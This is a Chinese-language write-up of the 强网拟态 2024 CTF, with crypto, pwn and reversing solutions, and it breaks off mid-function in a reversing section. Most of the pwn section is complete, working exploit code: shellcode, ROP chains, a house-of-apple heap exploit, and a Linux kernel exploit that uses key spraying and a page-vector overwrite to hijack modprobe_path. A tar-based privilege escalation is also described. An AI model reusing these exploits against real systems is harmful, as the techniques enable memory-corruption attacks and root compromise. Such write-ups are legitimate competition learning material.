强网拟态2024 wp
Crypto
XOR
# 密文
ciphertext = "0b050c0e180e585f5c52555c5544545c0a0f44535f0f5e445658595844050f5d0f0f55590c555e5a0914"
# 将十六进制字符串转换为字节
ciphertext_bytes = bytes.fromhex(ciphertext)
# 假设密钥为 'Key',可以根据需要更改密钥
key = b'mimic'
# 对密文进行异或解密
plaintext_bytes = bytes([a ^ b for a, b in zip(ciphertext_bytes, key * (len(ciphertext_bytes) // len(key) + 1))])
# 将解密后的字节转换为字符串
plaintext = plaintext_bytes.decode('utf-8')
print(plaintext)
Pwn
ezcode
套json的直接shellcode,限制长度0x16,先实现0x16字节内的mprotect+read,后续写orw_shellcode
from pwn import * import json context(log_level='debug',os='linux',arch='amd64') pwnfile = './vuln' io=process(pwnfile) #io = remote() elf = ELF(pwnfile) libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #libc = ELF("./libc.so.6") shellcode=''' sal edi,12 mov dx,7 mov ax,10 syscall cdq xor eax,eax mov esi,ecx xor edi,edi syscall ''' shellcode1 = asm(shellcode) print("len-->",len(shellcode1)) payload1 = { "shellcode": shellcode1.hex() } io.sendlineafter("Please enter your input:",json.dumps(payload1)) shellcode = asm(''' mov rdi,0x999800d xor esi,esi xor rdx,rdx mov rax,2 syscall mov rdi,rax mov rsi,0x9998000+0x300 mov edx,0x40 xor eax,eax syscall mov edi,1 mov rsi,0x9998000+0x300 mov rax,1 syscall ''') io.sendline(b'./flag\x00\x00\x00'+shellcode) io.interactive()
signin_revenge
栈溢出,no pie, no canary,构造ROP 泄露地址然后orw
from pwn import * context(log_level='debug',os='linux',arch='amd64') pwnfile = './vuln' #io=process(pwnfile) io=remote("pwn-16255a8951.challenge.xctf.org.cn", 9999, ssl=True) elf = ELF(pwnfile) libc = ELF("./libc.so.6") def debug(): gdb.attach(io) pause() pop_rdi = 0x0000000000401393 puts_got = elf.got['puts'] puts_plt = elf.plt['puts'] main_adr = elf.symbols['main'] #debug() pay = b'a'*0x108+flat(pop_rdi,puts_got,puts_plt,main_adr) io.sendlineafter("lets move and pwn!\n",pay) puts_adr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00')) libc_base = puts_adr-libc.sym['puts'] pop_rdx = libc_base + 0x0000000000142c92 pop_rsi = libc_base + 0x000000000002601f pop_rbp = libc_base + 0x00000000000226c0 pop_rax = libc_base + 0x0000000000036174 leave_ret = 0x4012EE read = 0x04012D6 #0x130 bss = 0x404000+0x800 flag_adr= bss+0x98 op = libc_base + libc.symbols['open'] re = libc_base + libc.symbols['read'] wr = libc_base + libc.symbols['write'] pay = b'a'*0x100+p64(bss-8)+flat(pop_rax,bss,read) io.sendafter("lets move and pwn!\n",pay) #debug() orw = flat(pop_rdi,flag_adr,pop_rsi,0,op, pop_rdi,3,pop_rsi,flag_adr+0x200,pop_rdx,0x100,re, pop_rdi,1,pop_rsi,flag_adr+0x200,pop_rdx,0x40,wr)+b'./flag\x00' io.sendline(orw) io.interactive()
QWEN
可以越界写到 memu 指针,和 0x20 字节。
然后是利用 后门 读 /proc/self/maps 获取内存信息,通过 libc_base 拿到两个 gadget
0x000000000004ee21 : pop rdx ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret
0x00000000000d10be : xor eax, eax ; add rsp, 8 ; ret
劫持 menu 指针为 pop rdx ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret,跳到 read 多写的 0x20 字节,执行 system(“/bin/sh”) 获取 shell
exp
from pwn import * def debug(c = 0): if(c): gdb.attach(p, c) else: gdb.attach(p) pause() def get_sb() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) #----------------------------------------------------------------------------------------- s = lambda data : p.send(data) sa = lambda text,data :p.sendafter(text, data) sl = lambda data :p.sendline(data) sla = lambda text,data :p.sendlineafter(text, data) r = lambda num=4096 :p.recv(num) rl = lambda text :p.recvuntil(text) pr = lambda num=4096 :print(p.recv(num)) inter = lambda :p.interactive() l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00')) l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00')) uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00')) int16 = lambda data :int(data,16) lg= lambda s, num :p.success('%s -> 0x%x' % (s, num)) #----------------------------------------------------------------------------------------- context(os='linux', arch='amd64', log_level='debug') p = remote("pwn-bc7e9f0275.challenge.xctf.org.cn", 9999, ssl=True) #p = process('pwn1') elf = ELF('pwn1') libc = ELF('libc.so.6') #debug('b *$rebase(0x1022)\n') for i in range(5): sla(b'\xbc\x89\xef\xbc\x9a', str(i) + ' 0') pl = b'a'*0x8 + p16(0x1508) sa(b'say?', pl) sla(b'game [Y/N]', b'N') sla(b'\xbc\x89\xef\xbc\x9a', '111 111') sla(b'administrator key\n', str(0x6b8b4567)) file_name = b'/proc/self/maps' sla(b'logged in!\n', file_name) rl(b'The debugging information is as follows >>\n') pro_base = int(r(12), 16) rl(b'libc.so.6\n') libc_base = int(r(12), 16) - 0x1e7000 lg('pro_base', pro_base) lg('libc_base', libc_base) for i in range(5): sla(b'\xbc\x89\xef\xbc\x9a', str(i) + ' 0') # 0x000000000004ee21 : pop rdx ; add rsp, 0x38 ; pop rbx ; pop rbp ; ret # 0x00000000000d10be : xor eax, eax ; add rsp, 8 ; ret rdi = libc_base + 0x000000000002164f system, binsh = get_sb() ret = libc_base + 0x00000000000008aa one_gadget = libc_base + 0x000000000004ee21 pl = p64(libc_base + 0x00000000000d10be) + p64(one_gadget) + p64(ret) + p64(rdi) + p64(binsh) + p64(system) sa(b'say?', pl) sla(b'game [Y/N]', b'N') sla(b'\xbc\x89\xef\xbc\x9a', '111 111111111111111111111') lg('pro_base', pro_base) lg('libc_base', libc_base) #pause() inter()
然后是提权。
靶机上的 pwn2 可以进行 tar 解压,拥有 s 权限,并且 -x 如果指向一个不存在的文件,可以进行文件创建和解压,利用该功能进行 tar 伪造,进行文件解压覆写。
比如
/home/pwn2 -x test.tar
就会要求输入 base64,输入本地生成的 tar 包即可
由于 docker 题目中通常利用 xinetd ,并且查看 xinetd 的配置文件,是利用 /usr/bin/chroot 进行 root 到 ctf 用户的切换,所以修改 /usr/bin/chroot 为 chmox 777 /home/ctf/flag ,同时用另外终端 nc 后,触发 chroot 指向,即可修改 flag 权限读取
signin
add函数中有一个0_o函数里是跟signin_revenge相同的栈溢出,直接利用这个打orw即可
from pwn import * import ctypes from ctypes import * context(arch='amd64', os='linux', log_level='debug') file_name = './vuln' libc = ELF('./libc.so.6') #libc = ctypes.CDLL("/lib/x86_64-linux-gnu/libc.so.6") #libc.srand.argtypes = [ctypes.c_uint] li = lambda x : print('\x1b[01;38;5;214m' + str(x) + '\x1b[0m') ll = lambda x : print('\x1b[01;38;5;1m' + str(x) + '\x1b[0m') #context.terminal = ['tmux','splitw','-h'] debug = 1 if debug: r = remote("pwn-c9b9d9e4e9.challenge.xctf.org.cn", 9999, ssl=True) else: r = process(file_name) libcc = cdll.LoadLibrary('./libc.so.6') libcc.srand(libcc.time(0)) elf = ELF(file_name) def dbg(): gdb.attach(r) pause() def dbgg(): raw_input() r.send('rbp') for i in range(100): a= libcc.rand()%100+1 r.sendafter('Input the authentication code:\n',p64(a)) r.sendafter('>> \n', p32(1)) #dbg() r.sendafter('Index: \n', p32(0)) r.sendafter('Note: \n', b'a'*0x10) sleep(0.5) r.send(b'a'*0x108+p64(0x401893)+p64(0x404028)+p64(0x401110)+p64(0x4013C0)) libc_base = u64(r.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))-libc.sym['puts'] openn = libc_base+libc.sym['open'] read = libc_base+libc.sym['read'] write = libc_base+libc.sym['write'] rdi = libc_base + 0x0000000000023b6a rsi = libc_base + 0x000000000002601f rdx = libc_base + 0x0000000000142c92 print(hex(libc_base)) r.send(b'a'*0x108+p64(rsi)+p64(0x404180)+p64(read)+p64(0x4013C0)) r.send('flag') sleep(0.5) r.send(b'a'*0x100+p64(0x404200)+p64(0x4013CF)) sleep(0.5) r.send(b'a'*0x100+p64(0x404300)+p64(0x4013CF)) sleep(0.5) #dbg() r.send(b'flag\x00\x00\x00\x00'+p64(rdi)+p64(0x404200)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(openn)+p64(rdi)+p64(3)+p64(rsi)+p64(0x4041a0)+p64(rdx)+p64(0x30)+p64(read)+p64(rdi)+p64(1)+p64(write)) r.interactive()
guest book
菜单堆程序中有uaf且申请大小限制为0x4ff以上,没有其他限制,那么直接套板子打house of apple即可
from pwn import * import sys context.log_level='debug' context.arch='amd64' #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') libc = ELF('./libc.so.6') flag = 1 if flag: p = remote("pwn-ca43b7414f.challenge.xctf.org.cn", 9999, ssl=True) else: p = process('./pwn') sa = lambda s,n : p.sendafter(s,n) sla = lambda s,n : p.sendlineafter(s,n) sl = lambda s : p.sendline(s) sd = lambda s : p.send(s) rc = lambda n : p.recv(n) ru = lambda s : p.recvuntil(s) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->"+hex(addr)) def dbg(): gdb.attach(p) pause() def cmd(choice): ru(">") sl(str(choice)) def add(index,size): cmd(1) ru("index") sl(str(index)) ru("size") sl(str(size)) def edit(index,content): cmd(2) ru("index") sl(str(index)) ru("content") sd(content) def delete(index): cmd(3) ru("index") sl(str(index)) def show(index): cmd(4) ru("index") sl(str(index)) add(0,0x520) add(1,0x500) add(2,0x510) delete(0) add(3,0x568) delete(2) show(0) mainarean = u64(ru(b'\x7f')[-6:].ljust(8,b'\x00')) libc_base=mainarean-0x21b110 edit(0,b'A'*0x10) show(0) ru(b'A'*0x10) heap_base=u64(p.recv(6).ljust(8,b'\x00'))-0x290 edit(0,p64(mainarean)*2) free_hook = libc_base+libc.sym['__free_hook'] ogs=[0xe3afe,0xe3b01,0xe3b04] og=libc_base+ogs[1] puts_io_all = libc_base + libc.sym['_IO_list_all'] wfile = libc_base + libc.sym['_IO_wfile_jumps'] addr=libc.symbols['puts']+libc_base fake_io_addr = heap_base + 0x1720 lock =0x3ed8b0+libc_base pop_rdi = libc_base + next(libc.search(asm('pop rdi;ret;'))) pop_rsi = libc_base + next(libc.search(asm('pop rsi;ret;'))) pop_rdx_r12 = libc_base + next(libc.search(asm('pop rdx;pop r12;ret;'))) r12 = libc_base + next(libc.search(asm('pop r12;ret;'))) leave_ret = libc_base + next(libc.search(asm('leave;ret;'))) open_addr=libc.symbols['open']+libc_base read_addr=libc.symbols['read']+libc_base write_addr=libc.symbols['write']+libc_base puts_addr=libc.symbols['puts']+libc_base setcontext=libc_base+0x0000000000151990 io_all = libc_base + libc.sym['_IO_list_all'] wfile = libc_base + libc.sym['_IO_wfile_jumps'] magic_gadget = libc_base + + 0x154ff0 +26#0x154dd0 +26# + libc.sym['svcudp_reply'] + 0x1a #edit(0,'./ctfshow_flag\x00') orw_addr=heap_base+0x14b0 flag_addr = heap_base+0x260 sh_addr = heap_base+0x7d0 system=libc_base+libc.sym['system'] pl=p64(0)+p64(leave_ret)+p64(0)+p64(puts_io_all-0x20) pl+=p64(0)*2+p64(0)+p64(fake_io_addr+0x10) #chunk0+0x48 pl+=p64(0)*4 pl+=p64(0)*3+p64(lock) pl+=p64(0)*2+p64(fake_io_addr+0xe0)+p64(0) pl+=p64(0)*4 pl+=p64(0)+p64(wfile) pl+=p64(0)*0x14+p64(fake_io_addr+0x120+0x70+0xa0-0x68) #chunk0+0xe0 pl+=p64(0)*0xd+p64(system) ''' pl1=p64(0)+p64(leave_ret)+p64(0)+p64(puts_io_all-0x20) pl1+=p64(0)*2+p64(0)+p64(fake_io_addr+0x10) #chunk0+0x48 pl1+=p64(0)*4 pl1+=p64(0)*3+p64(lock) pl1+=p64(0)*2+p64(fake_io_addr+0xe0)+p64(0) pl1+=p64(0)*4 pl1+=p64(0)+p64(wfile) pl1+=p64(0)*0x1c+p64(fake_io_addr+0xe0+0xe8) #chunk0+0xe0 pl1+=p64(0)*0xd+p64(system) ''' #add(3) print(hex(libc_base)) print(hex(heap_base)) add(4,0x510) add(5,0x520) add(6,0x558) add(7,0x558) add(8,0x548) add(9,0x548) delete(6) add(10,0x598) delete(8) edit(6,pl) edit(3,b'\x00'*0x560+b' sh;\x00\x00\x00') add(8,0x5f0) add(9,0x540) dbg() p.sendline('5') p.interactive()
ker
exp如下
/* Pwned by XiaozaYa (: 0x40 GFP_KERNEL; 一次 double free,一次 UAF edit,close时会将 chunk置空所以等价于无限次 add LEAK: open-add 0x40 chunk0 第一次 free chunk0 堆喷 user_key_payload占据 chunk0 第二次 free chunk0 close-open-add堆喷占据 chunk0并修改 datalen实现越界读 利用 user_key_payload越界读去 leak kbase/koffset等信息 USMA: 释放 user_key_payload即释放 chunk0 分配 pgv占据 chunk0 利用一次 UAF edit修改 pgv[0]为 modprobe_path所在页面 USMA修改 modprobe_path即可 */ #ifndef _GNU_SOURCE #define _GNU_SOURCE #endif #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <signal.h> #include <string.h> #include <stdint.h> #include <sys/mman.h> #include <sys/syscall.h> #include <sys/ioctl.h> #include <sched.h> #include <linux/keyctl.h> //#include <ctype.h> #include <pthread.h> //#include <sys/types.h> //#include <sys/wait.h> #include <sys/socket.h> #include <linux/if_packet.h> #include <arpa/inet.h> // 添加 htons 函数的头文件 #include <net/if.h> // 添加 if_nametoindex 函数的头文件 void err_exit(char *msg) { perror(msg); sleep(2); exit(EXIT_FAILURE); } void info(char *msg) { printf("\033[32m\033[1m[+] %s\n\033[0m", msg); } void hexx(char *msg, size_t value) { printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value); } /* void binary_dump(char *desc, void *addr, int len) { uint64_t *buf64 = (uint64_t *) addr; uint8_t *buf8 = (uint8_t *) addr; if (desc != NULL) { printf("\033[33m[*] %s:\n\033[0m", desc); } for (int i = 0; i < len / 8; i += 4) { printf(" %04x", i * 8); for (int j = 0; j < 4; j++) { i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" "); } printf(" "); for (int j = 0; j < 32 && j + i * 8 < len; j++) { printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.'); } puts(""); } } */ void bind_core(int core) { cpu_set_t cpu_set; CPU_ZERO(&cpu_set); CPU_SET(core, &cpu_set); sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set); printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core); } int key_alloc(char *description, char *payload, size_t plen) { return syscall(__NR_add_key, "user", description, payload, plen, KEY_SPEC_PROCESS_KEYRING); } int key_update(int keyid, char *payload, size_t plen) { return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen); } int key_read(int keyid, char *buffer, size_t buflen) { return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen); } int key_revoke(int keyid) { return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0); } int key_unlink(int keyid) { return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING); } int fd; typedef struct { char *buf; } request; void delete(char *buf) { request req = { .buf = buf }; if (ioctl(fd, 0x30, &req) < 0) { err_exit("Failed to delete chunk"); } } void edit(char *buf) { request req = { .buf = buf }; if (ioctl(fd, 0x50, &req) < 0) { err_exit("FAILED to edit chunk"); } } void allocate(char *buf) { request req = { .buf = buf }; if (ioctl(fd, 0x20, &buf) < 0) { err_exit("Failed to allocate chunk"); } } void start() { fd = open("/dev/ker", O_RDWR); if (fd == 0) { err_exit("FAILED to open dev file"); } } uint64_t maybe_leak[] = { 0xffffffff8236ca40, 0xffffffffc0203000, 0xffffffff82711453, 0xffffffff811b6530, 0xffffffff81d5d210, 0xffffffff81d5d240, 0xffffffff810da8f1, 0xffffffff8274c13e, 0xffffffffc0203210, 0xffffffff8236ca40, 0xffffffff81d5d250, 0xffffffff81d5d290, 0xffff888006f71198, 0xffffffffc0205000, 0xffffffff811b6530, 0xffffffffc0201000, 0xffffffff811b6530, 0xffffffff82726c9a, 0xffffffff822528e0, 0xffffffff8335d900, 0xffffffff8272d9cf, 0xffffffff82252820, 0xffffffff83301560, 0xffffffff812ecf50, 0xffffffff832af780, 0xffffffff81d5d210, 0xffffffff81d5d240, 0xffffffff84751b80, 0xffffffff810da8f1, 0xffffffff8199f0ad, 0xffffffff83301500, 0xffffffff82252820, 0xffffffff82775856, 0xffffffff82252580, }; uint64_t check_leak(uint64_t addr) { uint64_t res = -1; for (int i = 0; i < sizeof(maybe_leak) / sizeof(uint64_t); i++) { if (((addr&0xffffffff00000000) == 0xffffffff00000000) && ((maybe_leak[i]&0xfff) == (addr&0xfff))) { res = addr - maybe_leak[i]; break; } } return res; } void unshare_setup(void) { char edit[0x100]; int tmp_fd; if(unshare(CLONE_NEWNS | CLONE_NEWUSER | CLONE_NEWNET)) err_exit("FAILED to create a new namespace"); tmp_fd = open("/proc/self/setgroups", O_WRONLY); write(tmp_fd, "deny", strlen("deny")); close(tmp_fd); tmp_fd = open("/proc/self/uid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getuid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd); tmp_fd = open("/proc/self/gid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", getgid()); write(tmp_fd, edit, strlen(edit)); close(tmp_fd); } #ifndef ETH_P_ALL #define ETH_P_ALL 0x0003 #endif void packet_socket_rx_ring_init(int s, unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, unsigned int timeout) { int v = TPACKET_V3; int rv = setsockopt(s, SOL_PACKET, PACKET_VERSION, &v, sizeof(v)); if (rv < 0) puts("setsockopt(PACKET_VERSION)"), exit(-1); struct tpacket_req3 req; memset(&req, 0, sizeof(req)); req.tp_block_size = block_size; req.tp_frame_size = frame_size; req.tp_block_nr = block_nr; req.tp_frame_nr = (block_size * block_nr) / frame_size; req.tp_retire_blk_tov = timeout; req.tp_sizeof_priv = sizeof_priv; req.tp_feature_req_word = 0; rv = setsockopt(s, SOL_PACKET, PACKET_RX_RING, &req, sizeof(req)); if (rv < 0) puts("setsockopt(PACKET_RX_RING)"), exit(-1); } int packet_socket_setup(unsigned int block_size, unsigned int frame_size, unsigned int block_nr, unsigned int sizeof_priv, int timeout) { int s = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL)); if (s < 0) puts("socket(AF_PACKET)"), exit(-1); packet_socket_rx_ring_init(s, block_size, frame_size, block_nr, sizeof_priv, timeout); struct sockaddr_ll sa; memset(&sa, 0, sizeof(sa)); sa.sll_family = PF_PACKET; sa.sll_protocol = htons(ETH_P_ALL); sa.sll_ifindex = if_nametoindex("lo"); sa.sll_hatype = 0; sa.sll_pkttype = 0; sa.sll_halen = 0; int rv = bind(s, (struct sockaddr *)&sa, sizeof(sa)); if (rv < 0) puts("bind(AF_PACKET)"), exit(-1); return s; } // count 为 pg_vec 数组的大小, 即 pg_vec 的大小为 count*8 // size/4096 为要分配的 order int pagealloc_pad(int count, int size) { return packet_socket_setup(size, 2048, count, 0, 100); } void get_flag(){ system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag' > /tmp/x"); // modeprobe_path 修改为了 /tmp/x system("chmod +x /tmp/x"); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy"); // 非法格式的二进制文件 system("chmod +x /tmp/dummy"); system("/tmp/dummy"); // 执行非法格式的二进制文件 ==> 执行 modeprobe_path 指向的文件 /tmp/x sleep(0.3); system("cat /flag"); exit(0); } uint64_t modp = 0xffffffff831d8ce0; uint64_t koffset = -1; int evil_id = -1; int orgi_id = -1; int main(int argc, char** argv, char** envp) { bind_core(0); // int pipe_fd[2]; // pipe(pipe_fd); // pid_t pid = fork(); // //if (!pid) { unshare_setup(); #define SPRAY_KEYS 0x80 char buf[0x1000] = { 0 }; int key_id[SPRAY_KEYS] = { 0 }; char desc[0x100] = { 0 }; int res = -1; start(); allocate(buf); delete(buf); for (int i = 0; i < SPRAY_KEYS; i++) { sprintf(desc, "XiaozaYa-%d\n", i); memset(buf, 'A', 0x40); *(int64_t*)(buf) = i; key_id[i] = key_alloc(desc, buf, 30); // if (key_id[i] <= 0) { // err_exit("Failed to key_alloc"); // } } delete(buf); // for (int i = SPRAY_KEYS / 2; i < SPRAY_KEYS; i++) { // key_revoke(key_id[i]); // key_unlink(key_id[i]); // } /* for (int i = 0; i < SPRAY_KEYS / 2; i++) { memset(buf, 0, sizeof(buf)); key_read(key_id[i], buf, 30); if (*(uint64_t*)buf != i) { evil_id = *(uint64_t*)buf; orgi_id = i; info("hit"); binary_dump("READ DATA", buf, 30); break; } } */ sleep(1); while (1) { memset(buf, 'B', sizeof(buf)); *(uint64_t*)(buf + 0x00) = 0; *(uint64_t*)(buf + 0x08) = 0; *(uint64_t*)(buf + 0x10) = 0x1000-0x40; close(fd); start(); allocate(buf); for (int i = 0; i < SPRAY_KEYS; i++) { memset(buf, '\x00', sizeof(buf)); res = key_read(key_id[i], buf, 0x1000-0x40); // printf("[+] Read Length: %d\n", res); // binary_dump("LEAK DATA", buf, 30); if (res > 30) { evil_id = i; goto HIT; } } } HIT: // hexx("evil_id", evil_id); for (int i = 0; i < SPRAY_KEYS; i++) { if (i != evil_id) { key_revoke(key_id[i]); key_unlink(key_id[i]); } } sleep(2); memset(buf, '\x00', sizeof(buf)); res = key_read(key_id[evil_id], buf, 0x1000-0x40); // binary_dump("LEAK DATA", buf, res); for (int i = 0; i < res; i+=8) { uint64_t addr = *(uint64_t*)(buf + i); // hexx("addr", addr); koffset = check_leak(addr); if (koffset != -1) { break; } } modp += koffset; // hexx("koffset", koffset); // hexx("modp", modp); int nr = 0x40 / 8; memset(buf, '\x00', sizeof(buf)); *(uint64_t*)(buf + 0x00) = modp & ~0xfff; key_revoke(key_id[evil_id]); // key_unlink(key_id[evil_id]); sleep(1); int packet_fd = pagealloc_pad(nr, 0x1000); edit(buf); char *page = NULL, *modprobe_path = NULL; page = mmap(NULL, 0x1000*nr, PROT_READ|PROT_WRITE, MAP_SHARED, packet_fd, 0); // if ((uint64_t)page == -1) { // err_exit("mmap"); // } modprobe_path = page + (modp & 0xfff); // if (!strcmp(modprobe_path, "/sbin/modprobe")) { // info("success"); strcpy(modprobe_path, "/tmp/x"); munmap(page, 0x1000*nr); get_flag(); // } //} else if (pid < 0) { // err_exit("fork"); //} else { // char buf[1] = { 0 }; // read(pipe_fd[0], buf, 1); // puts("Debug"); // getchar(); // puts("[+] EXP NERVER END"); //} return 0; }
Re
easyre
花指令混淆,但是由于程序不大,可以动调确认逻辑,最后直接手撕即可
#include<stdio.h> unsigned char key[] = { 0xDB, 0xD9, 0x6F, 0xEF, 0xD3, 0x73, 0xC2, 0xD2, 0x12, 0xE4, 0x97, 0x6F, 0x24, 0xD6, 0xBF, 0x72 }; unsigned int* key_p=(unsigned int *)key; #include <stdio.h> #include <stdint.h> void encipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], sum=0, delta=0x9E3779B9; for (i=0; i < num_rounds; i++) { v0 += (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); sum += delta; v1 += (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); } v[0]=v0; v[1]=v1; } void decipher(unsigned int num_rounds, uint32_t v[2], uint32_t const key[4]) { unsigned int i; uint32_t v0=v[0], v1=v[1], delta=0x9E3779B9, sum=delta*num_rounds; for (i=0; i < num_rounds; i++) { v1 -= (((v0 << 4) ^ (v0 >> 5)) + v0) ^ (sum + key[(sum>>11) & 3]); sum -= delta; v0 -= (((v1 << 4) ^ (v1 >> 5)) + v1) ^ (sum + key[sum & 3]); } v[0]=v0; v[1]=v1; } int main() { unsigned char pl[] = { 161,227,81,152,134,86,118,73,111,107,43,129,207,206,18,150,162,112,53,60,49,98,92,241,250,119,107,170,158,109,5,190,232,36,164,248,219,35,58,11,22,32,204,3,173,181,43,169,52,159,120,29,46,185,249,158 }; decipher(0x66,pl,key_p); decipher(0x66,pl+8,key_p); decipher(0x66,pl+8+8,key_p); decipher(0x66,pl+8+16,key_p); decipher(0x66,pl+8+16+8,key_p); decipher(0x66,pl+8+16+16,key_p); decipher(0x66,pl+8+16+16+8,key_p); for(int i=0;i<0x38;i++){ pl[i]=(0x3f-pl[i])&0xff; } for(int i=0;i<0x38;i++){ printf("%c",pl[i]); } printf("\n"); }
babyre
直接丢入ida分析,输入uuid后做aes加密,然后转二进制字符串后做一个验证,验证并不是直接比较因此有些麻烦,但可以通过爆破直接恢复,一个个字节爆破即可
#include <iostream> #include"ida.h" __int64 __fastcall check(__int64 a1) { int v1; // r8d int v2; // ecx int v3; // ecx int v5; // [rsp+8h] [rbp-38h] int v6; // [rsp+Ch] [rbp-34h] int v7; // [rsp+10h] [rbp-30h] int v8; // [rsp+14h] [rbp-2Ch] int v9; // [rsp+18h] [rbp-28h] int v10; // [rsp+1Ch] [rbp-24h] int v11; // [rsp+20h] [rbp-20h] int v12; // [rsp+24h] [rbp-1Ch] int v13; // [rsp+28h] [rbp-18h] int v14; // [rsp+2Ch] [rbp-14h] int v15[2]; // [rsp+30h] [rbp-10h] int i; // [rsp+38h] [rbp-8h] unsigned int v17; // [rsp+3Ch] [rbp-4h] v17 = 1; for (i = 0; i <= 0; ++i) { v15[1] = *(_DWORD*)(48LL * i + a1); v15[0] = *(_DWORD*)(48LL * i + a1 + 4); v14 = *(_DWORD*)(48LL * i + a1 + 8); v13 = *(_DWORD*)(48LL * i + a1 + 12); v12 = *(_DWORD*)(48LL * i + a1 + 16); v11 = *(_DWORD*)(48LL * i + a1 + 20); v10 = *(_DWORD*)(48LL * i + a1 + 24); v9 = *(_DWORD*)(48LL * i + a1 + 28); v8 = *(_DWORD*)(48LL * i + a1 + 32); v7 = *(_DWORD*)(48LL * i + a1 + 36); v6 = *(_DWORD*)(48LL * i + a1 + 40); v5 = *(_DWORD*)(48LL * i + a1 + 44); v1 = (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v9 & (v11 == 0) & (v12 == 0) & (unsigned __int8)v13 & ((v14 | v15[0] | v15[1]) == 0) & (v10 == 0) & (v6 == 0) | (unsigned __int8)v7 & (unsigned __int8)v9 & (unsigned __int8)v11 & (v13 == 0) & (v14 == 0) & v15[1] & (v15[0] == 0) & (v12 == 0) & (v10 == 0) & (v8 == 0) & (v6 == 0) | (unsigned __int8)v6 & (v8 == 0) & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & (unsigned __int8)v12 & (unsigned __int8)(v14 & v15[0] & LOBYTE(v15[1])) & (v13 == 0) & (v7 == 0); v2 = (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v8 & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & (unsigned __int8)(v15[0] & LOBYTE(v15[1])) & (v13 == 0) & (v7 == 0) | (v6 == 0) & (v7 == 0) & (unsigned __int8)v8 & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v12 & (unsigned __int8)v13 & v15[0] & (v15[1] == 0) & (v14 == 0) & (v11 == 0) & (v5 == 0) | (unsigned __int8)v5 & (v7 == 0) & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & (unsigned __int8)v13 & (unsigned __int8)v14 & v15[1] & (v15[0] == 0) & (v11 == 0) & (v9 == 0) & (v6 == 0) | (unsigned __int8)v5 & (unsigned __int8)v7 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v13 & (unsigned __int8)v14 & (*(_QWORD*)v15 == 0LL) & (v12 == 0) & (v9 == 0) & (v6 == 0) | (v1 | (unsigned __int8)v6 & (unsigned __int8)v7 & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (unsigned __int8)v13 & (unsigned __int8)v14 & v15[1] & (v15[0] == 0) & (v11 == 0) & (v8 == 0)) & (v5 == 0); v3 = (unsigned __int8)v5 & (unsigned __int8)v6 & (v8 == 0) & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (v13 == 0) & (v14 == 0) & (unsigned __int8)(v15[0] & LOBYTE(v15[1])) & (v11 == 0) & (v7 == 0) | (v6 == 0) & (v7 == 0) & (v8 == 0) & (v9 == 0) & (unsigned __int8)v10 & (v12 == 0) & (unsigned __int8)v13 & ((v14 | v15[0] | v15[1]) == 0) & (v11 == 0) & (v5 == 0) | (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v7 & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & v15[0] & (v15[1] == 0) & (v13 == 0) & (v8 == 0) | (unsigned __int8)v5 & (unsigned __int8)v7 & (v9 == 0) & (v10 == 0) & (unsigned __int8)v11 & ((v12 | v13 | v14 | v15[0] | v15[1]) == 0) & (v8 == 0) & (v6 == 0) | (unsigned __int8)v5 & (v7 == 0) & (v8 == 0) & (unsigned __int8)v9 & (unsigned __int8)v10 & (unsigned __int8)v11 & (unsigned __int8)v12 & (v14 == 0) & v15[1] & (v15[0] == 0) & (v13 == 0) & (v6 == 0) | v2; if (!((unsigned __int8)v6 & (unsigned __int8)v8 & (unsigned __int8)v10 & (unsigned __int8)v12 & (v14 == 0) & v15[0] & (v15[1] == 0) & (v13 == 0) & (v11 == 0) & (v9 == 0) & (v7 == 0) & (v5 == 0) | (unsigned __int8)v5 & (unsigned __int8)v6 & (unsigned __int8)v7 